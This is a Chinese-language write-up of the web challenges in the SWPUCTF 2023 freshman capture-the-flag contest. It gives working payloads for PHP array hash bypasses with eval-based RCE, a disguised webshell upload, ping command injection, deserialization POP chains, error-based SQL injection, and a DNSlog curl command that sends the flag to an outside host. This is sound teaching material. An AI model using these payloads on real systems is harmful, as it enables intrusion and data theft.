• [SWPUCTF 2023 秋季新生赛]——Web方向 详细Writeup


    Web

    colorful_snake

    来玩贪吃蛇~

    F12查看源代码,可以看到this_is_real_flag函数,发现是unicode编码

    image-20231019080029726

    利用网站转换得到flag

    image-20231019080055922

    一键连接!

    连连need

    
    highlight_file(__FILE__);
    error_reporting(0);
    $md5_1 = $_GET['md5_1'];
    $md5_2 = $_GET['md5_2'];
    $sha1_1 = $_GET['sha1_1'];
    $sha1_2 = $_GET['sha1_2'];
    $new_player =$_GET['new_player'];
    if ($md5_1 !== $md5_2 && md5($md5_1) === md5($md5_2)) {
        if ($sha1_1 != $sha1_2 && sha1($sha1_1) === sha1($sha1_2)) {
            if (file_get_contents($new_player) === "Welcome to NSSCTF!!!") {
                echo "Congratulations~~~~~~~~~";
                echo "试试need Antsword
    "
    ; @eval($_POST['Nss']); }else{ echo "可曾听过data协议?"; } } else { echo "sha1又如何相等呢"; } } else { echo "如何让md5值相等呢¿"; }
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23

    第一 层要让md5_1md5_2经过md5加密后强比较类型相等,并且md5_1不等于md5_2,这里可以用数组绕过

    构造payload

    ?md5_1[]=1&md5_2[]=2
    
    • 1

    第二层便是绕过sha1加密,这里也可以用数组

    payload:

    sha1_1[]=3&sha1_2[]=4
    
    • 1

    接下来可以看到file_get_contents,这个函数的内容就是显示文件内容,可以利用data协议传入数据流

    payload:

    new_player=data://text/plain,Welcome to NSSCTF!!!
    
    • 1

    接下来利用Nss来进行RCE即可,最后发包如下

    ?md5_1[]=1&md5_2[]=2&sha1_1[]=3&sha1_2[]=4&new_player=data://text/plain,Welcome to NSSCTF!!!
    
    POST DATA:
    Nss=system('cat /f*');
    
    • 1
    • 2
    • 3
    • 4

    image-20231019084245373

    NSS_HTTP_CHEKER

    来看看你的HTTP知识储备!

    image-20231019084418065

    好好好,喜欢这种,直接秒了

    Burp发包如下

    image-20231019084817744

    ez_talk

    文件上传,先直接上传个php文件

    image-20231019133823355

    试一试修改MIME类型,但是被过滤

    image-20231019133932588

    猜测是不是有文件头检测,添加文件头GIF89a?可以看到绕过,路径被翻转

    image-20231019134158540

    直接访问

    http://node6.anna.nssctf.cn:28908/uploads/shell.php
    
    • 1

    可以看到已经挂马成功,直接RCE得到flag

    image-20231019134435505

    Pingpingping

    程序未响应

    
    highlight_file(__FILE__);
    error_reporting(0);
    $_ping = $_GET['Ping_ip.exe'];
    if(isset($_ping)){
        system("ping -c 3 ".$_ping);
    }else{
        $data = base64_encode(file_get_contents("error.png"));
        echo "";
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    得到源代码,通过简单的代码审计可以知道我们需要传参Ping_ip.exe,然后再执行system(ping -c 3 +我们传入的值 )

    但是这里涉及到PHP非法传参的问题,也就是如果直接传入Ping_ip.exe,在PHP中会被解析成Ping_ip_exe,所以我们将原本参数的_改为[,即可传入正确的参数

    构造payload:

    ?Ping[ip.exe=127.0.0.1|ls /
    
    • 1

    成功扫描根目录

    image-20231019135000316

    接下来直接获取flag即可

    ?Ping[ip.exe=127.0.0.1|cat%20/f* 
    
    • 1

    UnS3rialize

    Let’s do some deserialization 😃

    给出源代码

    
    highlight_file(__FILE__);
    error_reporting(0);
    class NSS
    {
        public $cmd;
        function __invoke()
        {
            echo "Congratulations!!!You have learned to construct a POP chain
    "
    ; system($this->cmd); } function __wakeup() { echo "W4keup!!!
    "
    ; $this->cmd = "echo Welcome to NSSCTF"; } } class C { public $whoami; function __get($argv) { echo "what do you want?"; $want = $this->whoami; return $want(); } } class T { public $sth; function __toString() { echo "Now you know how to use __toString
    There is more than one way to trigger"
    ; return $this->sth->var; } } class F { public $user = "nss"; public $passwd = "ctf"; public $notes; function __construct($user, $passwd) { $this->user = $user; $this->passwd = $passwd; } function __destruct() { if ($this->user === "SWPU" && $this->passwd === "NSS") { echo "Now you know how to use __construct
    "
    ; echo "your notes".$this->notes; }else{ die("N0!"); } } } if (isset($_GET['ser'])) { $ser = unserialize(base64_decode($_GET['ser'])); } else { echo "Let's do some deserialization :)"; }
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68

    考察反序列化,倒着找pop链

    可以看到在NSS类中,存在__invoke()魔术方法,里面存放着可以执行系统命令的函数,所以这便是我们的终点

    __invoke()魔术方法 : 将对象当作函数来使用时执行此方法

    继续向上找,这个可能不太明显,就是在C类的return $want();中,在这里want被当做函数处理,触发方式便是__get()魔术方法

    __get() :获得一个类的成员变量时调用,用于从不可访问的成员获取值的时候触发

    向上找,在T类中的return $this->sth->var;这里希望返回sth类中的var属性,但是不存在,所以可以通过该语句触发__get()魔术方法,但是前提是先触发__toString()魔术方法

    __toString(): 当一个对象被当作字符串使用时触发

    最后便是在F类中的__destruct()魔术方法的echo语句,将notes作为字符串处理,这便是pop链的触发点,因为__desrtuct()会自动触发

    __destruct() :对象被销毁时触发

    最后的pop链如下

    NSS::__invoke() <-- C::__get() <-- T::__toString() <-- F::__destruct
    
    • 1

    由此构造exp,这里因为还要绕过__wakeup()所以就先不加base64_encode

    
    class NSS
    {
        public $cmd;
    
        function __construct(){
            $this ->cmd = "ls /";
        }
    }
    
    
    class C
    {
        public $whoami;
    
        function __construct()
        {
            $this ->whoami = new NSS();
        }
    }
    
    class T
    {
        public $sth ;
    
        function __construct(){
            $this ->sth = new C();
        }
    }
    
    class F
    {
        public $user ;
        public $passwd;
        public $notes;
    
        function __construct()
        {
            $this->user = "SWPU";
            $this->passwd = "NSS";
            $this->notes = new T();
        }
    }
    
    $a = new F();
    echo (serialize($a));
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46

    运行得到

    O:1:"F":3:{s:4:"user";s:4:"SWPU";s:6:"passwd";s:3:"NSS";s:5:"notes";O:1:"T":1:{s:3:"sth";O:1:"C":1:{s:6:"whoami";O:3:"NSS":1:{s:3:"cmd";s:4:"ls /";}}}}
    
    • 1

    然后修改,利用对象的属性数量不一致方法来进行绕过,修改得到

    O:1:"F":5:{s:4:"user";s:4:"SWPU";s:6:"passwd";s:3:"NSS";s:5:"notes";O:1:"T":1:{s:3:"sth";O:1:"C":1:{s:6:"whoami";O:3:"NSS":1:{s:3:"cmd";s:4:"ls /";}}}}
    
    • 1

    然后base64编码

    TzoxOiJGIjo1OntzOjQ6InVzZXIiO3M6NDoiU1dQVSI7czo2OiJwYXNzd2QiO3M6MzoiTlNTIjtzOjU6Im5vdGVzIjtPOjE6IlQiOjE6e3M6Mzoic3RoIjtPOjE6IkMiOjE6e3M6Njoid2hvYW1pIjtPOjM6Ik5TUyI6MTp7czozOiJjbWQiO3M6NDoibHMgLyI7fX19fQ0K
    
    • 1

    传参即可执行命令

    image-20231019143855991

    之后修改脚本的命令为cat /f*在重复一下步骤即可得到flag

    payload:

    TzoxOiJGIjo1OntzOjQ6InVzZXIiO3M6NDoiU1dQVSI7czo2OiJwYXNzd2QiO3M6MzoiTlNTIjtzOjU6Im5vdGVzIjtPOjE6IlQiOjE6e3M6Mzoic3RoIjtPOjE6IkMiOjE6e3M6Njoid2hvYW1pIjtPOjM6Ik5TUyI6MTp7czozOiJjbWQiO3M6NzoiY2F0IC9mKiI7fX19fQ0K
    
    • 1

    image-20231019144057974

    RCE-PLUS

    没有回显如何读flag呢

    无回显RCE,可以看看这篇文章

    [CTF]命令执行无回显利用

    这里利用DNSlog直接外带出flag

    Get SubDomain获取域名,然后根据文章的格式

    image-20231019151515787

    cmd=curl `命令`.域名
    
    • 1

    payload如下:

    http://node6.anna.nssctf.cn:28181/?cmd=curl%20`cat%20/f*`.vv5yp9.dnslog.cn
    
    • 1

    然后点Refresh Record,可以看到flag被外带出来了

    image-20231019151508838

    修改一下格式即为正确flag

    查查need

    重生之我是带黑阔查爆油专所有人!

    hint1:前端源代码有hint,而且注意使用参数,或者直接拿起你们最喜欢的kali一键启动?

    既然说了前端代码有hint,看一眼

    image-20231019152331325

    然后现在学生名单,随便找个名字

    考察的是SQL注入,那就先找注入点以及闭合方式

    image-20231020095723360

    这里的注入点应该是student_id,因为可以明显的看到在报错语句中,password被md5加密了,所以可以判断注入点

    在经过试错之后,发现闭合方式是""(双引号),那就先试试union联合查询注入,先判断显示位

    image-20231020101456494

    显示位不同的时候会报错,但是显示位相同的时候也会报错

    后面发现是sql语句的问题,也就是那个;

    image-20231020101537207

    那既然都看到报错了,就试试报错注入

    payload爆库:

    name=%E8%96%9B%E6%A2%93%E6%BC%AB&student_id=-1" and updatexml(1,concat(0x7e,(database()),0x7e),1) --+#&password=11111
    
    • 1

    image-20231020101608856

    看来思路对了,接下来爆表

    name=%E8%96%9B%E6%A2%93%E6%BC%AB&student_id=-1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() ),0x7e),3) --+&password=11111
    
    • 1

    image-20231020101725255

    然后爆字段

    name=%E8%96%9B%E6%A2%93%E6%BC%AB&student_id=-1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='students'),0x7e),3) --+&password=11111
    
    • 1

    image-20231020112212068

    但是这个payload并不能显示完全,轻微修改一下使其显示出后面的字段名

    name=%E8%96%9B%E6%A2%93%E6%BC%AB&student_id=-1" and updatexml(1,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='students'),31,40),0x7e),3) --+&password=11111
    
    • 1

    发现没有flag,看看有没有表里面藏着flag,没有。。。。

    不知道flag藏在哪

    补充

    麻了,赛后也是把题目重新看了一遍,发现flag其实是藏在了grade字段内的最后一条,这里打算直接用名单来爆破找到flag

    用burp进行爆破,先发到测试器,将name添加变量

    image-20231021235808668

    导入名单,将学生名单复制到txt中,然后导入

    image-20231022000215892

    开始爆破

    image-20231022000514315

    在这。。。服了,脑电波没对上

    If_else

    像你这样的大师手法一定很厉害

    某一天,NSSCTF给了你一次机会,让你来自定义if中的条件,提交后访问check.php查看结果
    
    提交方式$_POST["check"]
    
    记得访问一下check.php哦~
    
    check.php的内容
    <?php
        $a=false;
        $b=false;
        if(你提交的部分将会被写至这里)
        {$a=true;}
        else
        {$b=true;}
        if($a===true&&$b===true)
        eval(system(cat /flag));
    ?> 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    不知道这道题考的什么。。。可能是考PHP如何写吧

    $被ban了,不能用,那就直接执行system(cat /f*)

    payload直接放下面了

    check=11==11){ system('cat /f*');} /*
    
    • 1

    传入之后访问check.php得到flag

    image-20231020115559945

    backup

    听过备份文件吗

    hint有提示备份文件,直接访问www.zip,可以得到源代码

    
    error_reporting(0);
    require_once("flag.php");
    
    class popmart{
        public $yuki;
        public $molly;
        public $dimoo;
    
        public function __construct(){
            $this->yuki='tell me where';
            $this->molly='dont_tell_you';
            $this->dimoo="you_can_guess";
        }
    
        public function __wakeup(){
            global $flag;
            global $where_you_go;
            $this->yuki=$where_you_go;
    
            if($this->molly === $this->yuki){
                echo $flag;
            }
        }
    }
    
    $pucky = $_GET['wq'];
    if(isset($pucky)){
        if($pucky==="二仙桥"){
            extract($_POST);
            if($pucky==="二仙桥"){    
                die("");
            }
            unserialize($pucky);
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36

    看来我们需要让wq等于二仙桥来进入第一个if语句,然后再绕过第二个if语句,进行反序列化

    在进入unserialize之后,__wakeup()会进行赋值,如果molly===yuki那么即可得到flag

    第一个点,就是绕过第二个if,这里直接变量覆盖即可,当然GET和POST都发送wq是不行的,在POST中发送pucky即可

    然后在反序列化的时候采取引用绕过的方式,exp如下

    
    
    class popmart{
        public $yuki;
        public $molly;
        public $dimoo;
    
    }
    $a=new popmart();
    $a->molly=&$a->yuki;
    echo serialize($a);
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    运行得到

    O:7:"popmart":3:{s:4:"yuki";N;s:5:"molly";R:2;s:5:"dimoo";N;}
    
    • 1

    p0pmart.php界面直接传入即可

    image-20231022004332238

  • 相关阅读:
    LCR 024. 反转链表
    电脑重装系统 win11 怎么关闭系统软件通知
    使用 Apache Camel 和 Quarkus 的微服务(二)
    LeetCode第232题—用栈实现队列
    波动率和波动率曲面套利
    香橙派4和树莓派4B构建K8S集群实践之七: Jenkins
    动环监控安装及调试过程,动环监控调试是什么
    strtok函数详解:字符串【分割】的利器
    【自然语言处理三-自注意self attention】
    14、JAVA入门——方法和构造方法
  • 原文地址:https://blog.csdn.net/Leaf_initial/article/details/133968695